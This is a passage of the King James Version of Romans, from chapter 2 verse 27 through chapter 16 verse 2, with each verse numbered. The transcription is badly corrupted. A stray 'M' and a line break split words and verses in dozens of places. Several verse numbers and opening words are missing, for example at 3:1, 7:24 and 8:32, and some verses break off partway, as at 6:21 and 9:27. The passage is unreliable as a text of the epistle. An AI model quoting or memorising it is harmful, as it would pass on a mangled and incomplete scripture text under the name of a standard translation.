2:27: And shall not uncircumcision which is by nature, if it fulfil the law, judge thee, who by the letter and circumcision dost transgress the law?
2:28: For he is not a Jew, which is one outwardly; neither is that circumcision, which is outward in the flesh:
2:29: But he is a Jew, which is one inwardly; and circumcision is that of the heart, in the spirit, and not in the letter; whose praise is not of men, but of God.
 advantage then hath the Jew? or what profit is there of circumcision?
3:2: Much every way: chiefly, because that unto them were committed the oracles of God.
3:3: For what if some did not believe? shall their unbelief make the faith of God without effect?
3:4: God forbid: yea, let God be true, but every man a liar; as it is written, That thou mightest be justified in thy sayings, and mightest overcome when thou art judged.
3:5: But if our unrighteousness commend the righteousness of God, what shall we say? Is God M
unrighteous who taketh vengeance? (I speak as a man)
3:6: God forbid: for then how shall God judge the world?
3:7: For if the truth of God hath more abounded through my lie unto his glory; why yet am I also judged as a sinner?
3:8: And not rather, (as we be slanderously reported, and as some affirm that we say,) Let us do evil, that good may come? whose damnation is just.
3:9: What then? are we better than they? No, in no wise: for we have before proved both Jews and Gentiles, that they are all under sin;
it is written, There is none righteous, no, not one:
3:11: There is none that understandeth, there is none that seeketh after God.
3:12: They are all gone out of the way, they are together become unprofitable; there is none that doeth good, no, not one.
3:13: Their throat is an open sepulchre; with their tongues they have used deceit; the poison of asps is under their lips:
3:14: Whose mouth is full of cursing and bitterness:
3:15: Their feet are swift to shed blood:
3:16: Destruction and misery are in their ways:
3:17: And the way of peace have they not known:
3:18: There is no fear of God before their eyes.
3:19: Now we know that what things soever the law saith, it saith to them who are under the law: that every mouth may be stopped, and all the world may become guilty before God.
3:20: Therefore by the deeds of the law there shall no flesh be justified in his sight: for by the law is the knowledge of sin.
3:21: But now the righteousness of God without the law is manifested, being witnessed by the law and the prophets;
22: Even the righteousness of God which is by faith of Jesus Christ unto all and upon all them that believe: for there is no difference:
3:23: For all have sinned, and come short of the glory of God;
3:24: Being justified freely by his grace through the redemption that is in Christ Jesus:
3:25: Whom God hath set forth to be a propitiation through faith in his blood, to declare his righteousness for the remission of sins that are past, through the forbearance of God;
3:26: To declare, I say, at this time his righteoM
usness: that he might be just, and the justifier of him which believeth in Jesus.
3:27: Where is boasting then? It is excluded. By what law? of works? Nay: but by the law of faith.
3:28: Therefore we conclude that a man is justified by faith without the deeds of the law.
3:29: Is he the God of the Jews only? is he not also of the Gentiles? Yes, of the Gentiles also:
3:30: Seeing it is one God, which shall justify the circumcision by faith, and uncircumcision through faith.
3:31: Do we then make void the law throughM
 faith? God forbid: yea, we establish the law.
4:1: What shall we say then that Abraham our father, as pertaining to the flesh, hath found?
4:2: For if Abraham were justified by works, he hath whereof to glory; but not before God.
4:3: For what saith the scripture? Abraham believed God, and it was counted unto him for righteousness.
4:4: Now to him that worketh is the reward not reckoned of grace, but of debt.
4:5: But to him that worketh not, but believeth on him that justifieth the ungodly, his faith iM
s counted for righteousness.
4:6: Even as David also describeth the blessedness of the man, unto whom God imputeth righteousness without works,
4:7: Saying, Blessed are they whose iniquities are forgiven, and whose sins are covered.
4:8: Blessed is the man to whom the Lord will not impute sin.
4:9: Cometh this blessedness then upon the circumcision only, or upon the uncircumcision also? for we say that faith was reckoned to Abraham for righteousness.
4:10: How was it then reckoned? when he was in circumcision, or iM
n uncircumcision? Not in circumcision, but in uncircumcision.
4:11: And he received the sign of circumcision, a seal of the righteousness of the faith which he had yet being uncircumcised: that he might be the father of all them that believe, though they be not circumcised; that righteousness might be imputed unto them also:
4:12: And the father of circumcision to them who are not of the circumcision only, but who also walk in the steps of that faith of our father Abraham, which he had being yet uncircumcised.
: For the promise, that he should be the heir of the world, was not to Abraham, or to his seed, through the law, but through the righteousness of faith.
4:14: For if they which are of the law be heirs, faith is made void, and the promise made of none effect:
4:15: Because the law worketh wrath: for where no law is, there is no transgression.
4:16: Therefore it is of faith, that it might be by grace; to the end the promise might be sure to all the seed; not to that only which is of the law, but to that also which isM
 of the faith of Abraham; who is the father of us all,
4:17: (As it is written, I have made thee a father of many nations,) before him whom he believed, even God, who quickeneth the dead, and calleth those things which be not as though they were.
4:18: Who against hope believed in hope, that he might become the father of many nations, according to that which was spoken, So shall thy seed be.
4:19: And being not weak in faith, he considered not his own body now dead, when he was about an hundred years old, neither yM
et the deadness of Sara's womb:
4:20: He staggered not at the promise of God through unbelief; but was strong in faith, giving glory to God;
4:21: And being fully persuaded that, what he had promised, he was able also to perform.
4:22: And therefore it was imputed to him for righteousness.
4:23: Now it was not written for his sake alone, that it was imputed to him;
4:24: But for us also, to whom it shall be imputed, if we believe on him that raised up Jesus our Lord from the dead;
4:25: Who was delivered for our ofM
fences, and was raised again for our justification.
5:1: Therefore being justified by faith, we have peace with God through our Lord Jesus Christ:
5:2: By whom also we have access by faith into this grace wherein we stand, and rejoice in hope of the glory of God.
5:3: And not only so, but we glory in tribulations also: knowing that tribulation worketh patience;
5:4: And patience, experience; and experience, hope:
5:5: And hope maketh not ashamed; because the love of God is shed abroad in our hearts by thM
e Holy Ghost which is given unto us.
5:6: For when we were yet without strength, in due time Christ died for the ungodly.
5:7: For scarcely for a righteous man will one die: yet peradventure for a good man some would even dare to die.
5:8: But God commendeth his love toward us, in that, while we were yet sinners, Christ died for us.
5:9: Much more then, being now justified by his blood, we shall be saved from wrath through him.
5:10: For if, when we were enemies, we were reconciled to God by the death of his Son, mM
uch more, being reconciled, we shall be saved by his life.
5:11: And not only so, but we also joy in God through our Lord Jesus Christ, by whom we have now received the atonement.
5:12: Wherefore, as by one man sin entered into the world, and death by sin; and so death passed upon all men, for that all have sinned:
5:13: (For until the law sin was in the world: but sin is not imputed when there is no law.
5:14: Nevertheless death reigned from Adam to Moses, even over them that had not sinned after the similitude ofM
 Adam's transgression, who is the figure of him that was to come.
5:15: But not as the offence, so also is the free gift. For if through the offence of one many be dead, much more the grace of God, and the gift by grace, which is by one man, Jesus Christ, hath abounded unto many.
5:16: And not as it was by one that sinned, so is the gift: for the judgment was by one to condemnation, but the free gift is of many offences unto justification.
5:17: For if by one man's offence death reigned by one; much more they whichM
 receive abundance of grace and of the gift of righteousness shall reign in life by one, Jesus Christ.)
5:18: Therefore as by the offence of one judgment came upon all men to condemnation; even so by the righteousness of one the free gift came upon all men unto justification of life.
5:19: For as by one man's disobedience many were made sinners, so by the obedience of one shall many be made righteous.
5:20: Moreover the law entered, that the offence might abound. But where sin abounded, grace did much more abound:
5:21: That as sin hath reigned unto death, even so might grace reign through righteousness unto eternal life by Jesus Christ our Lord.
6:1: What shall we say then? Shall we continue in sin, that grace may abound?
6:2: God forbid. How shall we, that are dead to sin, live any longer therein?
6:3: Know ye not, that so many of us as were baptized into Jesus Christ were baptized into his death?
6:4: Therefore we are buried with him by baptism into death: that like as Christ was raised up from the dead by the M
glory of the Father, even so we also should walk in newness of life.
6:5: For if we have been planted together in the likeness of his death, we shall be also in the likeness of his resurrection:
6:6: Knowing this, that our old man is crucified with him, that the body of sin might be destroyed, that henceforth we should not serve sin.
6:7: For he that is dead is freed from sin.
6:8: Now if we be dead with Christ, we believe that we shall also live with him:
6:9: Knowing that Christ being raised from the dead dieth nM
o more; death hath no more dominion over him.
6:10: For in that he died, he died unto sin once: but in that he liveth, he liveth unto God.
6:11: Likewise reckon ye also yourselves to be dead indeed unto sin, but alive unto God through Jesus Christ our Lord.
6:12: Let not sin therefore reign in your mortal body, that ye should obey it in the lusts thereof.
6:13: Neither yield ye your members as instruments of unrighteousness unto sin: but yield yourselves unto God, as those that are alive from the dead, and your memM
bers as instruments of righteousness unto God.
6:14: For sin shall not have dominion over you: for ye are not under the law, but under grace.
6:15: What then? shall we sin, because we are not under the law, but under grace? God forbid.
6:16: Know ye not, that to whom ye yield yourselves servants to obey, his servants ye are to whom ye obey; whether of sin unto death, or of obedience unto righteousness?
6:17: But God be thanked, that ye were the servants of sin, but ye have obeyed from the heart that form of doctrinM
e which was delivered you.
6:18: Being then made free from sin, ye became the servants of righteousness.
6:19: I speak after the manner of men because of the infirmity of your flesh: for as ye have yielded your members servants to uncleanness and to iniquity unto iniquity; even so now yield your members servants to righteousness unto holiness.
6:20: For when ye were the servants of sin, ye were free from righteousness.
6:21: What fruit had ye then in those things whereof ye are now ashamed? for the end of those thiM
6:22: But now being made free from sin, and become servants to God, ye have your fruit unto holiness, and the end everlasting life.
6:23: For the wages of sin is death; but the gift of God is eternal life through Jesus Christ our Lord.
7:1: Know ye not, brethren, (for I speak to them that know the law,) how that the law hath dominion over a man as long as he liveth?
7:2: For the woman which hath an husband is bound by the law to her husband so long as he liveth; but if the husband be dead, M
she is loosed from the law of her husband.
7:3: So then if, while her husband liveth, she be married to another man, she shall be called an adulteress: but if her husband be dead, she is free from that law; so that she is no adulteress, though she be married to another man.
7:4: Wherefore, my brethren, ye also are become dead to the law by the body of Christ; that ye should be married to another, even to him who is raised from the dead, that we should bring forth fruit unto God.
7:5: For when we were in the flesh, M
the motions of sins, which were by the law, did work in our members to bring forth fruit unto death.
7:6: But now we are delivered from the law, that being dead wherein we were held; that we should serve in newness of spirit, and not in the oldness of the letter.
7:7: What shall we say then? Is the law sin? God forbid. Nay, I had not known sin, but by the law: for I had not known lust, except the law had said, Thou shalt not covet.
7:8: But sin, taking occasion by the commandment, wrought in me all manner of concupM
iscence. For without the law sin was dead.
7:9: For I was alive without the law once: but when the commandment came, sin revived, and I died.
7:10: And the commandment, which was ordained to life, I found to be unto death.
7:11: For sin, taking occasion by the commandment, deceived me, and by it slew me.
7:12: Wherefore the law is holy, and the commandment holy, and just, and good.
7:13: Was then that which is good made death unto me? God forbid. But sin, that it might appear sin, working death in me by that which M
is good; that sin by the commandment might become exceeding sinful.
7:14: For we know that the law is spiritual: but I am carnal, sold under sin.
7:15: For that which I do I allow not: for what I would, that do I not; but what I hate, that do I.
7:16: If then I do that which I would not, I consent unto the law that it is good.
7:17: Now then it is no more I that do it, but sin that dwelleth in me.
7:18: For I know that in me (that is, in my flesh,) dwelleth no good thing: for to will is present with me; but how to M
perform that which is good I find not.
7:19: For the good that I would I do not: but the evil which I would not, that I do.
7:20: Now if I do that I would not, it is no more I that do it, but sin that dwelleth in me.
7:21: I find then a law, that, when I would do good, evil is present with me.
7:22: For I delight in the law of God after the inward man:
7:23: But I see another law in my members, warring against the law of my mind, and bringing me into captivity to the law of sin which is in my members.
hed man that I am! who shall deliver me from the body of this death?
7:25: I thank God through Jesus Christ our Lord. So then with the mind I myself serve the law of God; but with the flesh the law of sin.
8:1: There is therefore now no condemnation to them which are in Christ Jesus, who walk not after the flesh, but after the Spirit.
8:2: For the law of the Spirit of life in Christ Jesus hath made me free from the law of sin and death.
8:3: For what the law could not do, in that it was weak through the M
flesh, God sending his own Son in the likeness of sinful flesh, and for sin, condemned sin in the flesh:
8:4: That the righteousness of the law might be fulfilled in us, who walk not after the flesh, but after the Spirit.
8:5: For they that are after the flesh do mind the things of the flesh; but they that are after the Spirit the things of the Spirit.
8:6: For to be carnally minded is death; but to be spiritually minded is life and peace.
8:7: Because the carnal mind is enmity against God: for it is not subject toM
 the law of God, neither indeed can be.
8:8: So then they that are in the flesh cannot please God.
8:9: But ye are not in the flesh, but in the Spirit, if so be that the Spirit of God dwell in you. Now if any man have not the Spirit of Christ, he is none of his.
8:10: And if Christ be in you, the body is dead because of sin; but the Spirit is life because of righteousness.
8:11: But if the Spirit of him that raised up Jesus from the dead dwell in you, he that raised up Christ from the dead shall also quicken your mM
ortal bodies by his Spirit that dwelleth in you.
8:12: Therefore, brethren, we are debtors, not to the flesh, to live after the flesh.
8:13: For if ye live after the flesh, ye shall die: but if ye through the Spirit do mortify the deeds of the body, ye shall live.
8:14: For as many as are led by the Spirit of God, they are the sons of God.
8:15: For ye have not received the spirit of bondage again to fear; but ye have received the Spirit of adoption, whereby we cry, Abba, Father.
8:16: The Spirit itself beareth witM
ness with our spirit, that we are the children of God:
8:17: And if children, then heirs; heirs of God, and joint-heirs with Christ; if so be that we suffer with him, that we may be also glorified together.
8:18: For I reckon that the sufferings of this present time are not worthy to be compared with the glory which shall be revealed in us.
8:19: For the earnest expectation of the creature waiteth for the manifestation of the sons of God.
8:20: For the creature was made subject to vanity, not willingly, but by reasM
on of him who hath subjected the same in hope,
8:21: Because the creature itself also shall be delivered from the bondage of corruption into the glorious liberty of the children of God.
8:22: For we know that the whole creation groaneth and travaileth in pain together until now.
8:23: And not only they, but ourselves also, which have the firstfruits of the Spirit, even we ourselves groan within ourselves, waiting for the adoption, to wit, the redemption of our body.
8:24: For we are saved by hope: but hope that is M
seen is not hope: for what a man seeth, why doth he yet hope for?
8:25: But if we hope for that we see not, then do we with patience wait for it.
8:26: Likewise the Spirit also helpeth our infirmities: for we know not what we should pray for as we ought: but the Spirit itself maketh intercession for us with groanings which cannot be uttered.
8:27: And he that searcheth the hearts knoweth what is the mind of the Spirit, because he maketh intercession for the saints according to the will of God.
8:28: And we know thaM
t all things work together for good to them that love God, to them who are the called according to his purpose.
8:29: For whom he did foreknow, he also did predestinate to be conformed to the image of his Son, that he might be the firstborn among many brethren.
8:30: Moreover whom he did predestinate, them he also called: and whom he called, them he also justified: and whom he justified, them he also glorified.
8:31: What shall we then say to these things? If God be for us, who can be against us?
ed not his own Son, but delivered him up for us all, how shall he not with him also freely give us all things?
8:33: Who shall lay any thing to the charge of God's elect? It is God that justifieth.
8:34: Who is he that condemneth? It is Christ that died, yea rather, that is risen again, who is even at the right hand of God, who also maketh intercession for us.
8:35: Who shall separate us from the love of Christ? shall tribulation, or distress, or persecution, or famine, or nakedness, or peril, or sword?
 is written, For thy sake we are killed all the day long; we are accounted as sheep for the slaughter.
8:37: Nay, in all these things we are more than conquerors through him that loved us.
8:38: For I am persuaded, that neither death, nor life, nor angels, nor principalities, nor powers, nor things present, nor things to come,
8:39: Nor height, nor depth, nor any other creature, shall be able to separate us from the love of God, which is in Christ Jesus our Lord.
9:1: I say the truth in Christ, I lie notM
, my conscience also bearing me witness in the Holy Ghost,
9:2: That I have great heaviness and continual sorrow in my heart.
9:3: For I could wish that myself were accursed from Christ for my brethren, my kinsmen according to the flesh:
9:4: Who are Israelites; to whom pertaineth the adoption, and the glory, and the covenants, and the giving of the law, and the service of God, and the promises;
9:5: Whose are the fathers, and of whom as concerning the flesh Christ came, who is over all, God blessed for ever. Amen.M
9:6: Not as though the word of God hath taken none effect. For they are not all Israel, which are of Israel:
9:7: Neither, because they are the seed of Abraham, are they all children: but, In Isaac shall thy seed be called.
9:8: That is, They which are the children of the flesh, these are not the children of God: but the children of the promise are counted for the seed.
9:9: For this is the word of promise, At this time will I come, and Sara shall have a son.
9:10: And not only this; but when Rebecca also had concM
eived by one, even by our father Isaac;
9:11: (For the children being not yet born, neither having done any good or evil, that the purpose of God according to election might stand, not of works, but of him that calleth;)
9:12: It was said unto her, The elder shall serve the younger.
9:13: As it is written, Jacob have I loved, but Esau have I hated.
9:14: What shall we say then? Is there unrighteousness with God? God forbid.
9:15: For he saith to Moses, I will have mercy on whom I will have mercy, and I will have coM
mpassion on whom I will have compassion.
9:16: So then it is not of him that willeth, nor of him that runneth, but of God that sheweth mercy.
9:17: For the scripture saith unto Pharaoh, Even for this same purpose have I raised thee up, that I might shew my power in thee, and that my name might be declared throughout all the earth.
9:18: Therefore hath he mercy on whom he will have mercy, and whom he will he hardeneth.
9:19: Thou wilt say then unto me, Why doth he yet find fault? For who hath resisted his will?
: Nay but, O man, who art thou that repliest against God? Shall the thing formed say to him that formed it, Why hast thou made me thus?
9:21: Hath not the potter power over the clay, of the same lump to make one vessel unto honour, and another unto dishonour?
9:22: What if God, willing to shew his wrath, and to make his power known, endured with much longsuffering the vessels of wrath fitted to destruction:
9:23: And that he might make known the riches of his glory on the vessels of mercy, which he had afore preparM
9:24: Even us, whom he hath called, not of the Jews only, but also of the Gentiles?
9:25: As he saith also in Osee, I will call them my people, which were not my people; and her beloved, which was not beloved.
9:26: And it shall come to pass, that in the place where it was said unto them, Ye are not my people; there shall they be called the children of the living God.
9:27: Esaias also crieth concerning Israel, Though the number of the children of Israel be as the sand of the sea, a remnant shall be M
9:28: For he will finish the work, and cut it short in righteousness: because a short work will the Lord make upon the earth.
9:29: And as Esaias said before, Except the Lord of Sabaoth had left us a seed, we had been as Sodoma, and been made like unto Gomorrha.
9:30: What shall we say then? That the Gentiles, which followed not after righteousness, have attained to righteousness, even the righteousness which is of faith.
9:31: But Israel, which followed after the law of righteousness, hath not attained to tM
he law of righteousness.
9:32: Wherefore? Because they sought it not by faith, but as it were by the works of the law. For they stumbled at that stumblingstone;
9:33: As it is written, Behold, I lay in Sion a stumblingstone and rock of offence: and whosoever believeth on him shall not be ashamed.
10:1: Brethren, my heart's desire and prayer to God for Israel is, that they might be saved.
10:2: For I bear them record that they have a zeal of God, but not according to knowledge.
10:3: For they being ignorM
ant of God's righteousness, and going about to establish their own righteousness, have not submitted themselves unto the righteousness of God.
10:4: For Christ is the end of the law for righteousness to every one that believeth.
10:5: For Moses describeth the righteousness which is of the law, That the man which doeth those things shall live by them.
10:6: But the righteousness which is of faith speaketh on this wise, Say not in thine heart, Who shall ascend into heaven? (that is, to bring Christ down from above:)
10:7: Or, Who shall descend into the deep? (that is, to bring up Christ again from the dead.)
10:8: But what saith it? The word is nigh thee, even in thy mouth, and in thy heart: that is, the word of faith, which we preach;
10:9: That if thou shalt confess with thy mouth the Lord Jesus, and shalt believe in thine heart that God hath raised him from the dead, thou shalt be saved.
10:10: For with the heart man believeth unto righteousness; and with the mouth confession is made unto salvation.
10:11: For the scriptureM
 saith, Whosoever believeth on him shall not be ashamed.
10:12: For there is no difference between the Jew and the Greek: for the same Lord over all is rich unto all that call upon him.
10:13: For whosoever shall call upon the name of the Lord shall be saved.
10:14: How then shall they call on him in whom they have not believed? and how shall they believe in him of whom they have not heard? and how shall they hear without a preacher?
10:15: And how shall they preach, except they be sent? as it is written, How beautM
iful are the feet of them that preach the gospel of peace, and bring glad tidings of good things!
10:16: But they have not all obeyed the gospel. For Esaias saith, Lord, who hath believed our report?
10:17: So then faith cometh by hearing, and hearing by the word of God.
10:18: But I say, Have they not heard? Yes verily, their sound went into all the earth, and their words unto the ends of the world.
10:19: But I say, Did not Israel know? First Moses saith, I will provoke you to jealousy by them that are no people,M
 and by a foolish nation I will anger you.
10:20: But Esaias is very bold, and saith, I was found of them that sought me not; I was made manifest unto them that asked not after me.
10:21: But to Israel he saith, All day long I have stretched forth my hands unto a disobedient and gainsaying people.
11:1: I say then, Hath God cast away his people? God forbid. For I also am an Israelite, of the seed of Abraham, of the tribe of Benjamin.
11:2: God hath not cast away his people which he foreknew. Wot ye not M
what the scripture saith of Elias? how he maketh intercession to God against Israel, saying,
11:3: Lord, they have killed thy prophets, and digged down thine altars; and I am left alone, and they seek my life.
11:4: But what saith the answer of God unto him? I have reserved to myself seven thousand men, who have not bowed the knee to the image of Baal.
11:5: Even so then at this present time also there is a remnant according to the election of grace.
11:6: And if by grace, then is it no more of works: otherwise graM
ce is no more grace. But if it be of works, then is it no more grace: otherwise work is no more work.
11:7: What then? Israel hath not obtained that which he seeketh for; but the election hath obtained it, and the rest were blinded
11:8: (According as it is written, God hath given them the spirit of slumber, eyes that they should not see, and ears that they should not hear;) unto this day.
11:9: And David saith, Let their table be made a snare, and a trap, and a stumblingblock, and a recompence unto them:
t their eyes be darkened, that they may not see, and bow down their back alway.
11:11: I say then, Have they stumbled that they should fall? God forbid: but rather through their fall salvation is come unto the Gentiles, for to provoke them to jealousy.
11:12: Now if the fall of them be the riches of the world, and the diminishing of them the riches of the Gentiles; how much more their fulness?
11:13: For I speak to you Gentiles, inasmuch as I am the apostle of the Gentiles, I magnify mine office:
eans I may provoke to emulation them which are my flesh, and might save some of them.
11:15: For if the casting away of them be the reconciling of the world, what shall the receiving of them be, but life from the dead?
11:16: For if the firstfruit be holy, the lump is also holy: and if the root be holy, so are the branches.
11:17: And if some of the branches be broken off, and thou, being a wild olive tree, wert graffed in among them, and with them partakest of the root and fatness of the olive tree;
ot against the branches. But if thou boast, thou bearest not the root, but the root thee.
11:19: Thou wilt say then, The branches were broken off, that I might be graffed in.
11:20: Well; because of unbelief they were broken off, and thou standest by faith. Be not highminded, but fear:
11:21: For if God spared not the natural branches, take heed lest he also spare not thee.
11:22: Behold therefore the goodness and severity of God: on them which fell, severity; but toward thee, goodness, if thou continue in his goodM
ness: otherwise thou also shalt be cut off.
11:23: And they also, if they abide not still in unbelief, shall be graffed in: for God is able to graff them in again.
11:24: For if thou wert cut out of the olive tree which is wild by nature, and wert graffed contrary to nature into a good olive tree: how much more shall these, which be the natural branches, be graffed into their own olive tree?
11:25: For I would not, brethren, that ye should be ignorant of this mystery, lest ye should be wise in your own conceits; thM
at blindness in part is happened to Israel, until the fulness of the Gentiles be come in.
11:26: And so all Israel shall be saved: as it is written, There shall come out of Sion the Deliverer, and shall turn away ungodliness from Jacob:
11:27: For this is my covenant unto them, when I shall take away their sins.
11:28: As concerning the gospel, they are enemies for your sakes: but as touching the election, they are beloved for the fathers' sakes.
11:29: For the gifts and calling of God are without repentance.
: For as ye in times past have not believed God, yet have now obtained mercy through their unbelief:
11:31: Even so have these also now not believed, that through your mercy they also may obtain mercy.
11:32: For God hath concluded them all in unbelief, that he might have mercy upon all.
11:33: O the depth of the riches both of the wisdom and knowledge of God! how unsearchable are his judgments, and his ways past finding out!
11:34: For who hath known the mind of the Lord? or who hath been his counsellor?
 who hath first given to him, and it shall be recompensed unto him again?
11:36: For of him, and through him, and to him, are all things: to whom be glory for ever. Amen.
12:1: I beseech you therefore, brethren, by the mercies of God, that ye present your bodies a living sacrifice, holy, acceptable unto God, which is your reasonable service.
12:2: And be not conformed to this world: but be ye transformed by the renewing of your mind, that ye may prove what is that good, and acceptable, and perfect, willM
12:3: For I say, through the grace given unto me, to every man that is among you, not to think of himself more highly than he ought to think; but to think soberly, according as God hath dealt to every man the measure of faith.
12:4: For as we have many members in one body, and all members have not the same office:
12:5: So we, being many, are one body in Christ, and every one members one of another.
12:6: Having then gifts differing according to the grace that is given to us, whether prophecy, let us prophM
esy according to the proportion of faith;
12:7: Or ministry, let us wait on our ministering: or he that teacheth, on teaching;
12:8: Or he that exhorteth, on exhortation: he that giveth, let him do it with simplicity; he that ruleth, with diligence; he that sheweth mercy, with cheerfulness.
12:9: Let love be without dissimulation. Abhor that which is evil; cleave to that which is good.
12:10: Be kindly affectioned one to another with brotherly love; in honour preferring one another;
12:11: Not slothful in business;M
 fervent in spirit; serving the Lord;
12:12: Rejoicing in hope; patient in tribulation; continuing instant in prayer;
12:13: Distributing to the necessity of saints; given to hospitality.
12:14: Bless them which persecute you: bless, and curse not.
12:15: Rejoice with them that do rejoice, and weep with them that weep.
12:16: Be of the same mind one toward another. Mind not high things, but condescend to men of low estate. Be not wise in your own conceits.
12:17: Recompense to no man evil for evil. Provide things hM
onest in the sight of all men.
12:18: If it be possible, as much as lieth in you, live peaceably with all men.
12:19: Dearly beloved, avenge not yourselves, but rather give place unto wrath: for it is written, Vengeance is mine; I will repay, saith the Lord.
12:20: Therefore if thine enemy hunger, feed him; if he thirst, give him drink: for in so doing thou shalt heap coals of fire on his head.
12:21: Be not overcome of evil, but overcome evil with good.
13:1: Let every soul be subject unto the higher pM
owers. For there is no power but of God: the powers that be are ordained of God.
13:2: Whosoever therefore resisteth the power, resisteth the ordinance of God: and they that resist shall receive to themselves damnation.
13:3: For rulers are not a terror to good works, but to the evil. Wilt thou then not be afraid of the power? do that which is good, and thou shalt have praise of the same:
13:4: For he is the minister of God to thee for good. But if thou do that which is evil, be afraid; for he beareth not the swordM
 in vain: for he is the minister of God, a revenger to execute wrath upon him that doeth evil.
13:5: Wherefore ye must needs be subject, not only for wrath, but also for conscience sake.
13:6: For for this cause pay ye tribute also: for they are God's ministers, attending continually upon this very thing.
13:7: Render therefore to all their dues: tribute to whom tribute is due; custom to whom custom; fear to whom fear; honour to whom honour.
13:8: Owe no man any thing, but to love one another: for he that loveth anM
other hath fulfilled the law.
13:9: For this, Thou shalt not commit adultery, Thou shalt not kill, Thou shalt not steal, Thou shalt not bear false witness, Thou shalt not covet; and if there be any other commandment, it is briefly comprehended in this saying, namely, Thou shalt love thy neighbour as thyself.
13:10: Love worketh no ill to his neighbour: therefore love is the fulfilling of the law.
13:11: And that, knowing the time, that now it is high time to awake out of sleep: for now is our salvation nearer than M
13:12: The night is far spent, the day is at hand: let us therefore cast off the works of darkness, and let us put on the armour of light.
13:13: Let us walk honestly, as in the day; not in rioting and drunkenness, not in chambering and wantonness, not in strife and envying.
13:14: But put ye on the Lord Jesus Christ, and make not provision for the flesh, to fulfil the lusts thereof.
14:1: Him that is weak in the faith receive ye, but not to doubtful disputations.
14:2: For one believeM
th that he may eat all things: another, who is weak, eateth herbs.
14:3: Let not him that eateth despise him that eateth not; and let not him which eateth not judge him that eateth: for God hath received him.
14:4: Who art thou that judgest another man's servant? to his own master he standeth or falleth. Yea, he shall be holden up: for God is able to make him stand.
14:5: One man esteemeth one day above another: another esteemeth every day alike. Let every man be fully persuaded in his own mind.
14:6: He that regarM
deth the day, regardeth it unto the Lord; and he that regardeth not the day, to the Lord he doth not regard it. He that eateth, eateth to the Lord, for he giveth God thanks; and he that eateth not, to the Lord he eateth not, and giveth God thanks.
14:7: For none of us liveth to himself, and no man dieth to himself.
14:8: For whether we live, we live unto the Lord; and whether we die, we die unto the Lord: whether we live therefore, or die, we are the Lord's.
14:9: For to this end Christ both died, and rose, and revM
ived, that he might be Lord both of the dead and living.
14:10: But why dost thou judge thy brother? or why dost thou set at nought thy brother? for we shall all stand before the judgment seat of Christ.
14:11: For it is written, As I live, saith the Lord, every knee shall bow to me, and every tongue shall confess to God.
14:12: So then every one of us shall give account of himself to God.
14:13: Let us not therefore judge one another any more: but judge this rather, that no man put a stumblingblock or an occasion M
to fall in his brother's way.
14:14: I know, and am persuaded by the Lord Jesus, that there is nothing unclean of itself: but to him that esteemeth any thing to be unclean, to him it is unclean.
14:15: But if thy brother be grieved with thy meat, now walkest thou not charitably. Destroy not him with thy meat, for whom Christ died.
14:16: Let not then your good be evil spoken of:
14:17: For the kingdom of God is not meat and drink; but righteousness, and peace, and joy in the Holy Ghost.
14:18: For he that in these M
things serveth Christ is acceptable to God, and approved of men.
14:19: Let us therefore follow after the things which make for peace, and things wherewith one may edify another.
14:20: For meat destroy not the work of God. All things indeed are pure; but it is evil for that man who eateth with offence.
14:21: It is good neither to eat flesh, nor to drink wine, nor any thing whereby thy brother stumbleth, or is offended, or is made weak.
14:22: Hast thou faith? have it to thyself before God. Happy is he that condemM
neth not himself in that thing which he alloweth.
14:23: And he that doubteth is damned if he eat, because he eateth not of faith: for whatsoever is not of faith is sin.
15:1: We then that are strong ought to bear the infirmities of the weak, and not to please ourselves.
15:2: Let every one of us please his neighbour for his good to edification.
15:3: For even Christ pleased not himself; but, as it is written, The reproaches of them that reproached thee fell on me.
15:4: For whatsoever things were writtM
en aforetime were written for our learning, that we through patience and comfort of the scriptures might have hope.
15:5: Now the God of patience and consolation grant you to be likeminded one toward another according to Christ Jesus:
15:6: That ye may with one mind and one mouth glorify God, even the Father of our Lord Jesus Christ.
15:7: Wherefore receive ye one another, as Christ also received us to the glory of God.
15:8: Now I say that Jesus Christ was a minister of the circumcision for the truth of God, to coM
nfirm the promises made unto the fathers:
15:9: And that the Gentiles might glorify God for his mercy; as it is written, For this cause I will confess to thee among the Gentiles, and sing unto thy name.
15:10: And again he saith, Rejoice, ye Gentiles, with his people.
15:11: And again, Praise the Lord, all ye Gentiles; and laud him, all ye people.
15:12: And again, Esaias saith, There shall be a root of Jesse, and he that shall rise to reign over the Gentiles; in him shall the Gentiles trust.
15:13: Now the God of M
hope fill you with all joy and peace in believing, that ye may abound in hope, through the power of the Holy Ghost.
15:14: And I myself also am persuaded of you, my brethren, that ye also are full of goodness, filled with all knowledge, able also to admonish one another.
15:15: Nevertheless, brethren, I have written the more boldly unto you in some sort, as putting you in mind, because of the grace that is given to me of God,
15:16: That I should be the minister of Jesus Christ to the Gentiles, ministering the gospM
el of God, that the offering up of the Gentiles might be acceptable, being sanctified by the Holy Ghost.
15:17: I have therefore whereof I may glory through Jesus Christ in those things which pertain to God.
15:18: For I will not dare to speak of any of those things which Christ hath not wrought by me, to make the Gentiles obedient, by word and deed,
15:19: Through mighty signs and wonders, by the power of the Spirit of God; so that from Jerusalem, and round about unto Illyricum, I have fully preached the gospel ofM
15:20: Yea, so have I strived to preach the gospel, not where Christ was named, lest I should build upon another man's foundation:
15:21: But as it is written, To whom he was not spoken of, they shall see: and they that have not heard shall understand.
15:22: For which cause also I have been much hindered from coming to you.
15:23: But now having no more place in these parts, and having a great desire these many years to come unto you;
15:24: Whensoever I take my journey into Spain, I will come to you: forM
 I trust to see you in my journey, and to be brought on my way thitherward by you, if first I be somewhat filled with your company.
15:25: But now I go unto Jerusalem to minister unto the saints.
15:26: For it hath pleased them of Macedonia and Achaia to make a certain contribution for the poor saints which are at Jerusalem.
15:27: It hath pleased them verily; and their debtors they are. For if the Gentiles have been made partakers of their spiritual things, their duty is also to minister unto them in carnal thingsM
15:28: When therefore I have performed this, and have sealed to them this fruit, I will come by you into Spain.
15:29: And I am sure that, when I come unto you, I shall come in the fulness of the blessing of the gospel of Christ.
15:30: Now I beseech you, brethren, for the Lord Jesus Christ's sake, and for the love of the Spirit, that ye strive together with me in your prayers to God for me;
15:31: That I may be delivered from them that do not believe in Judaea; and that my service which I have for Jerusalem may M
be accepted of the saints;
15:32: That I may come unto you with joy by the will of God, and may with you be refreshed.
15:33: Now the God of peace be with you all. Amen.
16:1: I commend unto you Phebe our sister, which is a servant of the church which is at Cenchrea:
16:2: That ye receive her in the Lord, as becometh saints, and that ye assist her in whatsoever business she hath need of you: for she hath been a succourer of many, and of myself also.
